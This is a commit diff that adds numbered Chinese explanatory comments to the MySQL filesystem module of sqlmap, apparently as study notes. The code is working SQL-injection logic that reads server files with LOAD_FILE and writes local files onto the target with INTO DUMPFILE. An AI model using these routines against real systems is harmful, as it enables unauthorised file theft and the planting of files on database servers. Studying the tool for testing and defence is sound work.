mysql_filesystem

pull/18/head
Warmlight 2 months ago
parent bb4ebc7514
commit 2ccc7bac72

@ -5,96 +5,118 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.agent import agent
from lib.core.common import getSQLSnippet
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.exception import SqlmapNoneDataException
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.union.use import unionUse
from plugins.generic.filesystem import Filesystem as GenericFilesystem
# 1. 从库中导入需要的模块
from lib.core.agent import agent # SQL 注入执行代理
from lib.core.common import getSQLSnippet # 获取 SQL 代码片段
from lib.core.common import isNumPosStrValue # 检查值是否为正数
from lib.core.common import isTechniqueAvailable # 判断某注入方法是否可用
from lib.core.common import popValue # 弹出栈值
from lib.core.common import pushValue # 压入栈值
from lib.core.common import randomStr # 生成随机字符串
from lib.core.common import singleTimeWarnMessage # 输出只显示一次的警告
from lib.core.compat import xrange # 兼容的 range 函数
from lib.core.data import conf # 全局配置信息
from lib.core.data import kb # 全局知识库
from lib.core.data import logger # 日志记录器
from lib.core.decorators import stackedmethod # 堆叠方法装饰器
from lib.core.enums import CHARSET_TYPE # 字符集类型
from lib.core.enums import DBMS # 数据库类型枚举
from lib.core.enums import EXPECTED # 期望类型
from lib.core.enums import PAYLOAD # payload 类型
from lib.core.enums import PLACE # 注入位置
from lib.core.exception import SqlmapNoneDataException # 无数据异常
from lib.request import inject # 注入相关函数
from lib.request.connect import Connect as Request # 连接请求
from lib.techniques.union.use import unionUse # UNION 注入方法
from plugins.generic.filesystem import Filesystem as GenericFilesystem # 通用文件系统操作类
# 2. 定义一个类 Filesystem继承自 GenericFilesystem
class Filesystem(GenericFilesystem):
# 3. 非堆叠读取文件的方法
def nonStackedReadFile(self, rFile):
# 4. 如果不是暴力模式,则输出读取文件信息
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
# 5. 执行SQL注入读取文件内容并以十六进制返回
result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
# 6. 返回读取结果
return result
# 7. 堆叠读取文件的方法
def stackedReadFile(self, remoteFile):
# 8. 如果不是暴力模式,则输出读取文件信息
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
# 9. 创建支持表
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
# 10. 获取远程临时目录
self.getRemoteTempPath()
# 11. 构建临时文件名
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
# 12. 输出调试信息
debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
debugMsg += "into temporary file '%s'" % tmpFile
logger.debug(debugMsg)
# 13. 通过堆叠查询,将文件内容以十六进制形式保存到临时文件
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile))
# 14. 输出调试信息
debugMsg = "loading the content of hexadecimal encoded file "
debugMsg += "'%s' into support table" % remoteFile
logger.debug(debugMsg)
# 15. 通过堆叠查询,将临时文件内容导入到支持表中
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
# 16. 从支持表中获取文件内容的长度
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
# 17. 如果获取到的文件长度不合法
if not isNumPosStrValue(length):
warnMsg = "unable to retrieve the content of the "
warnMsg += "file '%s'" % remoteFile
# 18. 如果是直接模式或可以使用UNION注入
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
if not kb.bruteMode:
warnMsg += ", going to fall-back to simpler UNION technique"
logger.warning(warnMsg)
# 19. 使用非堆叠方法读取文件
result = self.nonStackedReadFile(remoteFile)
else:
# 20. 如果没有可用的方法,则抛出异常
raise SqlmapNoneDataException(warnMsg)
else:
# 21. 将获取到的文件长度转为整数
length = int(length)
chunkSize = 1024
# 22. 如果文件长度大于 chunkSize
if length > chunkSize:
result = []
# 23. 循环读取文件内容
for i in xrange(1, length, chunkSize):
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk)
else:
# 24. 直接读取文件内容
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
# 25. 返回文件内容
return result
# 26. 使用 UNION 注入写入文件的方法
@stackedmethod
def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
logger.debug("encoding file to its hexadecimal string value")
# 27. 对本地文件进行十六进制编码
fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0]
fcEncodedStrLen = len(fcEncodedStr)
# 28. 如果在 GET 请求中且编码后的长度大于 8000则输出警告信息
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "as the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
@ -102,28 +124,36 @@ class Filesystem(GenericFilesystem):
warnMsg += "writing process"
logger.warning(warnMsg)
# 29. 输出调试信息
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
# 30. 强制使用负数 where 条件
pushValue(kb.forceWhere)
kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
# 31. 构建 SQL 查询语句
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)
# 32. 执行 SQL 查询
unionUse(sqlQuery, unpack=False)
kb.forceWhere = popValue()
# 33. 输出警告信息,提示文件可能包含垃圾字符
warnMsg = "expect junk characters inside the "
warnMsg += "file as a leftover from UNION query"
singleTimeWarnMessage(warnMsg)
# 34. 检查写入的文件
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
# 35. 使用 LINES TERMINATED 写入文件的方法
def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
logger.debug("encoding file to its hexadecimal string value")
# 36. 对本地文件进行十六进制编码
fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr)
# 37. 如果在 GET 请求中且编码后的长度大于 8000则输出警告信息
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
@ -131,47 +161,59 @@ class Filesystem(GenericFilesystem):
warnMsg += "writing process"
logger.warning(warnMsg)
# 38. 输出调试信息
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
# 39. 获取 SQL 代码片段
query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr)
# 40. 添加 SQL 前缀
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
# 41. 生成 payload
payload = agent.payload(newValue=query)
# 42. 执行 SQL 查询
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
# 43. 输出警告信息,提示文件可能包含垃圾字符
warnMsg = "expect junk characters inside the "
warnMsg += "file as a leftover from original query"
singleTimeWarnMessage(warnMsg)
# 44. 检查写入的文件
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
# 45. 使用堆叠查询写入文件的方法
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
# 46. 输出调试信息
debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to"
logger.debug(debugMsg)
# 47. 创建支持表
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
# 48. 输出调试信息
logger.debug("encoding file to its hexadecimal string value")
# 49. 对本地文件进行十六进制编码
fcEncodedList = self.fileEncode(localFile, "hex", False)
# 50. 输出调试信息
debugMsg = "forging SQL statements to write the hexadecimal "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
# 51. 将文件内容转换为 SQL 查询语句
sqlQueries = self.fileToSqlQueries(fcEncodedList)
# 52. 输出调试信息
logger.debug("inserting the hexadecimal encoded file to the support table")
# 53. 设置最大允许的数据包大小
inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
# 54. 循环执行 SQL 查询语句
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
# 55. 输出调试信息
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
# 56. 使用 DUMPFILE 将数据导出到远程文件
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
# 57. 检查写入的文件
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
Loading…
Cancel
Save